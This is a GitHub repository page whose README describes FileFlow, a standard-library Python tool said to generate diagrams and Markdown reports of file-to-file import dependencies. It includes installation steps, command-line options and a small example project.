Skip to content

FileFlow generates a visual diagram and Markdown report of file-to-file import dependencies within a Python project using only the standard library.

Notifications You must be signed in to change notification settings

iaqn12xddd12/FileFlow

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

FileFlow 📊

FileFlow
Releases


Overview

FileFlow is a tool designed to help you visualize and manage file-to-file import dependencies within your Python projects. By utilizing only the standard library, FileFlow generates a clear diagram and a Markdown report that outlines how files within your project interact with each other. This tool is perfect for developers looking to understand their codebase better and ensure all dependencies are verified.

Table of Contents

Features

  • Visual Diagrams: Automatically generate diagrams that show the relationships between files.
  • Markdown Reports: Create comprehensive Markdown reports detailing file dependencies.
  • Standard Library: Built entirely with Python's standard library, ensuring compatibility and ease of use.
  • Static Analysis: Perform static analysis on your codebase to identify and document dependencies.
  • Dependency Verification: Verify that all imports are accounted for and correctly documented.
  • Project Architecture Insights: Gain insights into your project's architecture with minimal effort.

Installation

To install FileFlow, you can download the latest release from the Releases section. After downloading, follow these steps:

  1. Extract the downloaded file.

  2. Navigate to the extracted folder in your terminal.

  3. Run the following command to execute FileFlow:

    python fileflow.py

Make sure you have Python 3 installed on your system.

Usage

Using FileFlow is straightforward. Once you have it installed, follow these steps:

  1. Navigate to your Python project directory.

  2. Run the FileFlow script:

    python path/to/fileflow.py
  3. After execution, check the generated diagram and Markdown report in the output directory.

Command Line Options

FileFlow supports several command line options:

  • -h, --help: Show help message and exit.
  • -o, --output: Specify the output directory for the report and diagram.
  • -f, --format: Choose the format of the report (Markdown or HTML).

Example

Here’s a simple example to illustrate how FileFlow works:

  1. Create a sample Python project with the following structure:

    my_project/
    ├── main.py
    ├── utils.py
    └── data/
        └── process.py
    
  2. In main.py, import the utils module:

    from utils import helper_function
  3. In process.py, import the main module:

    from ..main import main_function
  4. Run FileFlow:

    python path/to/fileflow.py
  5. Check the output directory for the generated diagram and Markdown report.

Contributing

Contributions are welcome! If you have suggestions or improvements, feel free to open an issue or submit a pull request. Here’s how you can contribute:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature-branch).
  3. Make your changes.
  4. Commit your changes (git commit -m 'Add new feature').
  5. Push to the branch (git push origin feature-branch).
  6. Open a pull request.

License

FileFlow is licensed under the MIT License. See the LICENSE file for details.

Contact

For any questions or suggestions, please reach out:


For the latest updates and releases, visit the Releases section.

Thank you for using FileFlow! Happy coding!

About

FileFlow generates a visual diagram and Markdown report of file-to-file import dependencies within a Python project using only the standard library.

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published

Contributors 2

  •  
  •  

Languages